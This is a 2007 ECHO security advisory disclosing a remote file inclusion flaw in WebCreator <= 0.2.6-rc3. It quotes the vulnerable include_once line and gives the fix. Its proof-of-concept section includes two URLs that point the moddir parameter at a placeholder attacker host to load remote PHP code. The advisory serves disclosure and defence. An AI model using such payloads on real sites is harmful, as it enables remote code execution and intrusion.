Echo Security Advisory 2007.74

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\/ \/ \/ \/ .OR.ID  
ECHO_ADV_74$2007  
  
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[ECHO_ADV_74$2007] WebCreator <= 0.2.6-rc3 (moddir) Remote File Inclusion Vulnerability  
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Author : Dedi Dwianto a.k.a the_day  
Date Found : March, 13th 2007  
Location : Indonesia, Jakarta  
web : http://advisories.echo.or.id/adv/adv74-theday-2007.txt  
Critical Lvl : Highly critical  
Impact : System access  
Where : From Remote  
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Affected software description:  
~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Application : WebCreator  
version : <= 0.2.6-rc3  
URL : http://webcreator.innoxia.cz/  
  
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Vulnerability:  
~~~~~~~~~~~~  
  
- Invalid include_once function at mods/content/load.inc.php  
-----------------------mods/content/load.inc.php------------  
  
<?  
include_once($moddir . '/functions.lib.php');  
?>  
  
----------------------------------------------------------  
  
Input passed to the "$moddir" parameter in load.inc.php is not  
properly verified before being used. This can be exploited to execute  
arbitrary PHP code by including files from local or external  
resources.  
  
also affected files :  
  
config/load.inc.php  
http/load.inc.php  
  
and More ....  
  
  
  
Proof Of Concept:  
~~~~~~~~~~~~~  
  
http://localhost/mods/config/load.inc.php?moddir=http://atacker.com/inject.txt?  
http://localhost/mods/http/load.inc.php?moddir=http://atacker.com/inject.txt?  
  
  
Solution:  
~~~~~  
  
- Sanitize variable $moddir affected files.  
- Turn off register_globals  
  
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Shoutz:  
~  
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous  
~ Jessy Nice Girl  
~ az001,bomm_3x,matdhule,angelia  
~ [email protected]  
~ #aikmel - #e-c-h-o @irc.dal.net  
------------------------------------------------------------------------  
---  
Contact:  
~~  
EcHo Research & Development Center  
http://advisories.echo.or.id  
erdc[at]echo[dot]or[dot]id  
the_day[at]echo[dot]or[dot]id  
  
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